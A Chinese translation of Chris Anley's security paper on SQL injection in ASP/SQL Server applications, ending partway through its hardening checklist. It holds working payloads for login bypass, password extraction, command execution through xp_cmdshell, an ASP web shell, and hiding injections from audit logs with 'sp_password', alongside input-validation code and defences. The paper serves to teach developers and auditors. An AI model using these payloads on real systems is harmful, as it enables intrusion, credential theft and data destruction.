本文作者:Chris Anley
翻译: luoluo [luoluonet@hotmail.com]

[目 录]

[概要]
[介绍]
[通过错误信息获取信息]
[更深入的访问]
[xp_cmdshell]
[xp_regread]
[其他扩展存储]
[联合服务器]
[用户自定义扩展存储]
[向表中导入文本文件]
[利用BCP创建文本文件]
[SQL-Server里的ActiveX 脚本]
[存储过程]
[高级Sql注入]
[没有引号的字符串]
[Sql-Injection二次注入]
[长度限制]
[躲避审核]
[防范]
[确认输入]
[Sql-Server防御]
[参考资料]
附录 A - 'SQLCrack'(sqlcrack.sql)


[概 要]

这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台。这里探讨有关这种***各种可以注入程序访问数据和数据库防范的方法。

这篇文章面向两种读者:一是基于数据库web程序开发人员和审核各种web程序的安全专家。


[介 绍]

结构化查询语言(SQL)是一种用来和数据库交互的文本语言SQL语言多种多样,大多的方言版本都共同宽松地遵循SQL-92标准(最新的ANSI标准 [译者注:目前最新的是SQL-99])。SQL运行的典型的操作是“查询”,它是可以让数据库返回“查询结果记录集”的语句集合。SQL语句可以修改数据库的结构(用数据定义语言"DDL")和操作数据库里的数据(用数据操作语言"DML")。我们在这里着重讨论Transact-SQL(交互式 SQL),应用于SQL-Server的SQL一种方言(非标准SQL)。

如果***者可以插一系列的SQL语句进入应用程序的数据查询时,Sql注入***就可能发生。

一个典型的SQL语句是这样的:

select id, forename, surname from authors

这个查询语句将会从'authors'表中返回'id','forename'和'surname'列的所有行。返回的结果集也可以加以特定条件'author'限制:

select id, forename, surname from authors where forename = 'john' and surname = 'smith'

注意这里很重要的一点是'john'和'smith'是被单引号引住的,假设'forename'和'surname'字段是来自于用户的输入,***者就可能通过输入非法字符串来对这个查询进行SQL注入:

Forename:jo'hn
Surname: smith

查询语句就会变成:

select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'

当数据库试图执行这个查询,它会返回这样的错误:

Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'

这是因为插入的单引号破坏了原来单引号引住的数据,数据库执行到'hn'时失败。如果***者这样输入:

Forename: jo'; drop table authors--
Surname:

...authors表就会被删掉,原因过一会再解释。

似乎通过删除用户输入的字符串中的单引号或者通过一些方法避免它们出现可以解决这个问题。诚然如此,但是要实施这个解决方法还有很多的困难。因为首先:不是所有的用户提交的数据都是字符串形式,比如我们的用户输入通过'id'(看上去是个数字)来选择一个用户,我们的查询可能会这样:

select id,forename,surname from authors where id=1234

在这种情况下***者可以轻易的在数值输入后面添加SQL语句。在其他SQL方言中,使用着各种分隔符,比如MS Jet DBMS引擎,日期可以用'#'符号来分隔。
其次,避免单引号并不像开始我们想象的那样是必要的解决办法,原因下面讨论。

我们将以Active Server Pages(ASP)登陆页面为例子来详细说明,它访问一个Sql-Server数据库并且验证一个到我们假想的程序的访问。

这是用户填写用户名和密码的表单页面:

<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>

这是'process_login.asp'的代码, 它处理用户登陆:

<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%><FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>

这里讨论的是'process_login.asp'中的创建'query string'的部分:

var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";

如果用户指定了下面这样的数据:

Username: '; drop table users--
Password:

'users'表会被删除,所有用户都不能登陆。'--'是Transact-SQL(交互式SQL)的单行注释符,';'标志着一个查询的结束另一个查询的开始。用户名最后的'--'用来使这个特殊的查询无错误结束。

***者只要知道用户名,就可以通过以下的输入以任何用户的身份登陆:

Username: admin'--

***者可以通过下面的输入以用户表里的第一个用户来登陆:

Username: ' or 1=1--

...更有甚者,***者通过以下的输入可以以任意虚构的用户登陆:

Username: ' union select 1, 'fictional_user', 'somoe_password', 1--

因为程序相信***者指定的常量是数据库返回的记录集的一部分。


[通过错误信息获取信息]

这个技术是David Litchfield在一次******测试中首先发现的,后来david写了篇关于这个技术的文章,很多作者都参考过这篇作品。这里我们讨论“错误消息”技术潜在的机制,使读者可以充分理解它并且能灵活应用。

为了操作数据库里的数据,***者要确定某个数据库的结构。例如:我们的"user"表是用下面的语句建立的:

create table users( id int,
username varchar(255),
password varchar(255),
privs int
)

并且插入了下面的用户:

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )

我们假设***者要为自己插入一个用户,如果不知道表的结构的话,他不可能成功。即使他运气好,'priv'字段的重要性还不清楚。***者可能插入'1',给自己在程序里添加了一个低权限的用户,而他的目标是管理员的权限。

对于***者来说幸运的是:如果程序返回错误(asp默认如此),***者可以猜测整个数据库的结构,读取ASP程序连接到SQL-Server的帐号权限内可以读取的任何值。

(下面给出的使用上面提供的示例数据库和asp脚本来说明这些技术怎样实现的)

首先,***者要确定查询的表名和字段名。要做到这点,***者可以使用'select'语句的'having'子句:

username: ' having 1=1 --

这会引起下面的错误(译者注:having字句必须和GROUP BY或者聚合函数一起配合使用,否则出错):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35

所以***者就知道了表名和第一列的列名,他们可以通过给每列加上'group by'子句继续得到其他列名,如下:

username: ' group by users.id having 1=1 --

(结果产生这样的错误)

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35

最后***者得到了下面的'username':

' group by users.id, users.username, users.password, users.privs having 1=1--

这句没有错误,相当于:

select * from users where username = ''

所以***者知道了查询只是关于'users'表的,并且顺序使用了列'id,username,password,rpivs'。

如果***者能确定各列的数据类型将会很有用,可以利用类型转换错误信息来达到这一点,看下面的例子:

Username: ' union select sum(username) from users--

这利用了SQL-Server试图在确定两行是否相同之前先执行'sum'子句的特性,计算文本域的和会返回这样的信息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

它告诉我们'username'字段的类型是'varchar'。相反的,如果我们试图计算数值型的字段,但结果两行的列数并不匹配:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

我们可以用这个技术来大概地确定数据库内各列的类型。

这样***者就可以写出一个格式完美的'insert'语句:

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--

但是,这个技术的潜力不止这些。***者可以利用任何错误信息来暴露系统环境或者数据库信息。执行下面的语句可以得到一个标准错误信息的清单:

select * from master..sysmessages

检查这个清单可以发现很多有趣的信息。

一个特别有用的信息有关类型转换,如果你试图将一个字符串转换成整型,整个字符串的内容将会出现在错误信息里。以我们登陆页的例子来说,使用下面的'username'将会返回SQL-Server的版本以及它所在服务器操作系统的版本信息:

Username: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35

这试图将内置常量'@@version'转换成整型,因为'users'表第一列是整数。

这个技术可以用来读取任何数据库的任何表的任何内容,如果***者对用户名和密码感兴趣,他们就可以从'users'表读用户名:

Username: ' union select min(username),1,1,1 from users where username > 'a'--

这将选出比'a'大的最小用户名,而且试图将它转换成一个整数:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35

***者就知道'admin'帐号存在,他现在可以把他发现的用户名放进'where'子句来反复测试这行:

Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35

一旦***者确定了用户名,他就可以搜集密码;

Username: ' union select password,1,1,1 from users where username = 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35

一个更“别致”的技术是将用户名和密码连接成一个单独的字符传,然后试图将它转换成整型。这将举另一种例子;Transact-SQL语句可以将字符串连接成一行而不改变他们的意义,下面的脚本将连接这些值:

begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end

***者用这个'username'登陆(明显都在同一行)

Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--

这创建了一个只包含单列'ret'的表'foo',而且把我们的字符串放在里面。通常一个低权限的用户可以在示例数据库里创建表,或者一个临时表。

之后***者选择查询表里的字符串,就像前面说的:

Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
/process_login.asp, line 35

然后删除这个表:

Username: '; drop table foo--

这些例子仅仅揭开了这项技术的神秘面纱,不用说,如果***者可以从数据库获得丰富的错误信息,他们的工作将大大的简化。


[更深入的访问]

一旦***者可以控制数据库,他们可能想通过这些权限来获得对网络更多的控制,可以通过很多方法来达到这一目的:

1.利用xp_cmdshell扩展存储以SQL-Server用户的身份在数据库服务器上执行命令
2.利用xp_regread扩展存储读取注册表的键值,也包括SAM(只要SQL-Server是以一个本地帐号运行的)
3.用其他的扩展存储改变服务器设置
4.在联合服务器上执行查询
5.创建客户扩展存储从而在SQL-Server进程内运行exploit
6.用'bulk insert'语句去读服务器上任何文件
7.用bcp在服务器上创建任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程来创建ActiveX对象来完成asp脚本可以做的任何事情

这些只是常见的***方法的一部分;***者也很可能通过其他方法来达到目的,我们列举这些SQL-Server相关的***方法是为了说明如果程序可以被注入SQL语句时可能会发生什么,我们将依次给出以上各种情况的对策。


[xp_cmdshell]

扩展存储的本质是编译了的动态链接库(DLLs),它用SQL-Server指定的调用方式去运行接口函数。他们允许SQL-Server程序拥有了和 c/c++一样的功能,是个非常有用的特性。SQL-Server内置了大量的扩展存储,而且有各种各样的函数比如发送邮件和更改注册表。
xp_cmdshell是一个内置的扩展存储,它允许执行任意的命令行程序。例如:

exec master..xp_cmdshell 'dir'

将会获得一个SQL-Server进程所在工作目录的列表

exec master..xp_cmdshell 'net1 user'

将提供主机用户的列表。如果SQL Server正常的以本地'system'帐号或者'domain user'帐号运行,***者可以造成更严重破坏。


[xp_regread]

另外一个有用的内置的扩展存储是xp_regXXX函数

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

其中一些函数的用法的举例:

exec xp_regread HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'

(它决定服务器的空连接式共享是否可用)

exec xp_regenumvalues HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

(它显示所有的服务器上SNMP公共的设置,通过这个信息,***者可以在相同的网络区域里重新配置网络设置,因为SNMP共有设置很少被改变而且由很多主机共享)

可以想象***者怎样利用这些函数来读取SAM文件,改变系统设置在重新启动后就被服务的应用,或者在用户下一次登陆时运行任意命令。


[其他扩展存储]

xp_servicecontrol扩展存储允许用户启动,停止,暂停或者运行服务。

exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'

下面是一些其他有用的扩展存储表:

xp_availablemedia 显示机器上可用的驱动器
xp_dirtree 获得一个目录树
xp_enumdsn 列举服务器上的ODBC数据源
xp_loginconfig 显示服务器的安全状态信息
xp_makecab 允许用户在服务器上创建压缩文件(或者任何服务器可以访问的文件)
xp_ntsec_enumdomains 列举服务器可以访问的域
xp_terminate_process 结束一个给定PID进程


[联合服务器]

SQL-Server提供了一个服务器联合的机制,就是允许一个数据库服务器上的查询操作其他服务器的数据。这些联合设置存放在 master..sysservers表里,如果一个相连的服务器使用了'sp_addlinkedsrvlogin'存储过程,一个自动的登陆了的连接已经存在,可以通过它不登陆而访问该服务器。'openquery'函数允许查询在联合服务器上执行。


[用户自定义扩展存储]

扩展存储的API是相当简单的,创建一个带有恶意代码的扩展存储DLL也是相当容易的。通过命令行有很多方法将DLL上传到服务器,还有其他的很多方法包括各种通信机制来自动实现,比如HTTP下载和FTP脚本。
一旦DLL文件出现在服务器上SQL-Server可以访问,这不一定需要SQL-server本身,***者可以通过下面添加扩展存储(这里,我们的恶意扩展存储是个用来操作服务器的文件系统小的***)

sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'

扩展存储就可以通过一般的方法调用:

exec xp_webserver

一旦这个扩展存储执行过,可以这样删除它:

sp_dropextendedproc 'xp_webserver'


[向表中导入文本文件]

利用'bulk insert'语句,可以把一个文本文件的内容插入进一张临时表,我们简单的创建一个表:

create table foo( line varchar(8000) )

然后执行bulk insert来插入数据来自于一个文件:

bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

通过上面介绍过的错误信息技巧就可以得到数据,或者通过一个'union'查询,把文本数据作为查询的数据返回。这对于获得存储在数据库里的脚本如asp脚本很有用。


[利用BCP创建文本文件]

利用和'bulk insert'作用相反的技术创建任意的文本文件非常简单。不过需要一个命令行工具'bcp'('bulk copy program'),因为bcp在SQL-Server进程外访问数据库,它需要一次登陆。但是这不难,因为***者都可以创建一个;或者如果服务器配置使用了“完整性”安全模式,***者可以利用它。

命令行格式如下:

bcp "Select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

'S'参数是要运行查询的服务器,'U'参数是用户名,'P'是密码,这里的密码是'foobar'。


[SQL-Server 里的ActiveX自动脚本]

SQL-Server提供了一些内置的扩展存储,允许在SQL-Server内创建ActiveX自动脚本。这些脚本在功能上和windows scripting host上运行的脚本或者asp脚本(通常用Javascript或者Vbscript编写)一样,脚本创建自动对象并且通过他们产生作用。一个用 Transact-SQL写的自动脚本可以做任何asp脚本或者WSH脚本能做的事。

下面提供一些例子来说明:

1)这个例子用'wscript.shell'对象创建一个notepad的实例(当然这里也可以是任何命令行命令)

-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

在我们的例子里可以使用这样的用户名(都在一行):

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

2)这个例子用'scripting.filesystemobject'对象去读已知的文本文件:

-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

3)下面的例子创建一个asp脚本执行任意命令:

-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell"): o.run(request.querystring("cmd") )%>'

需要注意的很重要的一点是Windows NT4,IIS4平台asp脚本将会以'system'的帐号运行,而在IIS5他们会以低权限的IWAM_xxx帐号运行。

4)这个例子(稍带欺骗性)说明这项技术的灵活性,它用'speech.voicetext'(译者注:参考ms-help://MS.VSCC /MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)对象,使SQL Server说话:

declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'

这当然也可以在我们的例子里使用,通过指定下面的'username'(注意例子不只是注入一段脚本,同时也以'admin'的身份登陆了程序)

用户名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-


[存储过程]

传统的认识是如果ASP程序使用了数据库系统的存储过程,那么就不可能SQL注入了。这句话不完全对,这依赖于ASP脚本调用存储过程的方式。

本质上,一个带参数的查询执行了,用户提供的参数就被安全的传给查询,SQL注入就不可能了。但是,如果***者可以对无数据部分的查询语句施加任何影响,他们仍然可能控制数据库。

一个有用的规则是:

1. 如果ASP脚本创建了一个提交给服务器的SQL查询语句,这是很容易被SQL注入的,即使它使用了存储过程。
2. 如果ASP脚本使用了封装传递参数给存储过程的过程对象(如ADO command对象,和参数集合一起使用的)那么它通常就很安全了,但是这还要取决于对象的执行。

明显的,最好习惯于验证所有的用户输入,因为新的***技术会不停的涌现。

为了说明存储过程查询的注入,运行下面的SQL语句:

sp_who '1' select * from sysobjects

或者

sp_who '1' ; select * from sysobjects

任何附加语句在存储过程执行后还是可以执行。

[高级Sql注入]

一个应用程序通常过滤单引号,另一方面限制用户的输入,比如限制长度。

在这里,我们将讨论一些绕过一些明显的SQL注入防范的和长度限制的技巧。


[没有符号的字符串]

有时候,开发人员可能已经通过过滤单引号来保护应用程序,比如用VBScript的'replace'函数:

function escape( input )
input = replace(input, "'", "''")
escape = input
end function

不可否认,这会阻止所有的对我们上面给出的对示例站点的***,删除';'字符也会起作用。但是,在一个大的程序里一些用户输入可能被假定为数值型。这些值没有限制,提供了很多可以注入的地方。

如果***者希望创建一个字符串值而不使用引号,他们可以用'char'函数。例如:

insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)

它是一个往表里插入字符的不带引号的查询语句。

当然,如果***者使用一个数值型的用户名和密码的话,下面的语句也同样可以很好的执行:

insert into users values( 667,
123,
123,
0xffff)

因为SQL-Server自动将数值型的转换成'varchar'类型,类型转换是默认的。


[SQL二次注入]

即使一个程序总是过滤单引号,***者仍然可以先注入SQL作为数据存放在数据库里然后被程序再次使用。

比如,一个***者可能通过注册,创建一个用户名

Username: admin'--
Password: password

程序正确的过滤了单引号,'insert'语句如下:

insert into users values ( 123, 'admin''--', 'password', 0xffff)

我们假设程序允许用户更改密码,ASP脚本在设置新的密码前先确认用户旧密码正确。代码可能这样写:

username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{


设置新密码的查询语句可能这样写的:

sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"

rso("username")是登陆的查询返回的的用户名。

用户名为admin'--,上面的查询就变成了这样:

update users set password = 'password' where username = 'admin'--'

因此***者可以通过注册了一个名叫admin'--的用户来把admin的密码改成他们自己的。

这是个危险的问题,目前大部分的大型程序都试图过滤数据。最好的解决方法是拒绝非法输入,而不是简单的改变它。这有时候会导致一些问题,非法字符在某些地方是必要的,比如在名字带符号的情况:

O'Brien

从安全的角度,最好的解决办法是不允许出现单引号。如果这样不行,必须避免它们出现,这种情况下,最好保证所有要进入SQL语句的字符(包括从数据库里取出的字符)都被正确的处理过。

即使这样***依然可能实现:如果***者可以不经过程序而往系统插入数据。比如***者有一个email接口,或者有一个可以控制的错误记录数据库。最好总是验证所有的数据,包括系统里的数据,验证函数调用很简单,比如:

if ( not isValied( "email", request.querystring("emil") ) ) then
response.end

或者其他的方法


[长度限制]

有时候输入对数据的长度加以限制会使***困难许多,这的确阻止了一些***,但一个很短的SQL语句也可能造成非常大的危害:

Username: ';shutdown--

关闭SQL-Server,只用了12个字符。另一个例子:

drop table <tablename>

如果长度限制是在字符串过滤后,另一个问题可能会发生。假设用户名被限制在16个字符之内,密码也被限制在16个字符之内,下面的用户名和密码结合可以执行'shutdown'命令:

Username:aaaaaaaaaaaaaaa'
Password:'; shutdown--

原因是程序过滤用户名最后的单引号,但是字符串又被切回到16个字符,删除了过滤的单引号。结果是密码域可以包含一些SQL, 只要它以一个单引号开始,最后的查询会变成这样:

select * from users where username = 'aaaaaaaaaaaaaa'' and password=''';shutdown--

用户名在查询里就变成:

aaaaaaaaaaaaaaa' and password='

后面附上的SQL被执行。


[躲避审核]

SQL Server在sp_traceXXX系列的函数包含丰富审核接口,它可以记录任何数据库里的事件。这里我们特别感兴趣的是T-SQL事件,它记录了所有的SQL语句以及服务器上准备好的和已运行了的批处理。如果这个级别的审核开启的话,所有我们讨论的注入都将被记录下来有经验的数据库管理员将会看到所有发生的事情。但是如果***者附加下面的字符:

sp_password

到一个Transact-SQL语句,这个审核记录如下:

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

这在所有的的T-SQL日志记录时都会发生,即使'sp_password'出现在注释中。这当然是在用户传递sp_password时有意隐藏用户的明文密码,但这对***者相当有用。

所以,为了隐藏所有的注入***者只需要在注释符'--'后面加一个字符串:

Username: admin'--sp_password

事实上一些执行了的SQL将被记录,但是查询字符串本身被强制不记录。

[防 范]

这部分讨论一些针对这些***的防范措施。输入验证已经讨论过了,一些代码也给出了,后面我们研究SQL-Server防范问题。


[输入验证]

输入验证是一个很复杂的问题。一般在一个开发项目中它很少被注意,因为过度的验证往往使一个程序的某部分被打断,所以输入验证是个难题。输入验证往往不加到程序的功能里,因而在工期将至而赶程序时不会被人注意。

下面是关于验证的简单的讨论附示例代码,这个示例代码当然不能直接用在程序里,但可以很好的说明不同的策略。

各种数据验证的途径可以分类为以下几种:

1)整理数据使之变得有效
2)拒绝已知的非法输入
3)只接受已知的合法的输入

方法1有很多概念上的问题;首先,开发者没有必要知道非法数据由什么组成,因为新形式的非法数据随时都可能产生。第二,改变数据会改变它的长度,这样会导致前面提到的问题。最后,还有需要对系统已有数据的重用的话有二次注入的问题.

解决方案2也会遇到和1的一些相似的问题,了解非法数据会过时,因为新的***技术也在发展。

解决方案3可能是三种方法中最好的,但是比较难于执行。

从安全角度来考虑可能最好多解决方法是把解决方案2和3结合起来只允许合法的输入,然后再寻找非法字符。

一个必须结合这两种途径的例子是带有连字符的名字的问题:

Question Bassington-Bassington

我们必须在合法输入里允许连字符号,但是也要明白字符串'--'在SQL-Server里意味着什么。

当数据整理结合了非法字符验证时另一个问题就会发生。假设我们应用“非法字符探测器”来探测'--','select'和'union'”后使用“数据整理过滤器”删除单引号,***者就可以指定这样的输入:

uni'on sel'ect @@version-'-

因为单引号被过滤器删除了,***者可以把单引号散布于它的已知的非法字符串里来躲避检查。

下面是一些验证的代码:

方法1-躲避单引号

function escape( input )
input = replace(input, "'", "''")
escape = input
end function

方法2-抵制已知的非法输入

function validate_string( input )
know_bad = array( "select", "insert", "update", "delete", "drop", "--", "'")
validate_string = true
for i = lbound( know_bad ) to ubound( known_bad )
if( instr( 1, input, known_bad(i), vbtextcompare) <> 0 )
validate_string = false
exit function
end if
next
end function

方法3-只允许合法输入

function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( instr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function


[SQL Server 防御]

最重要的一点是必须防范SQLServer,’out of the box’并不安全。这里有一个当创建SQL-Server构架要做的事情的简明清单:

1.决定连接到服务器的方法
a.使用’Network utility’检验你使用的网络库是可用的
2.检查哪些帐号存在
a.为程序创建低权限帐号
b.删除不需要的帐号
c.确保所有的帐号都有一个健壮的密码;在一个正常运行一个密码审计脚本(比如附录里提供了一个)。
3.检查哪些对象存在
a.许多扩展存储可以安全的删除,如果这些已经做了考虑删除一些包含扩展存储的dll
b.删除所有的数据库实例-比如'northwind'和'pubs'数据库
4.检查哪些帐号可以访问对象
a.应用程序用户所使用的访问数据库的帐号应该只拥有对所需要的对象的最小访问权限
5.检查服务器的补丁状况
a.有一些针对SQL-Server的缓冲区溢出[3],[4]和格式字符串[5]***(大部分是作者自己发现的)和一些其他的安全补丁,可能还有更多的漏洞存在
6.检验日志记录些什么,和日志可以做些什么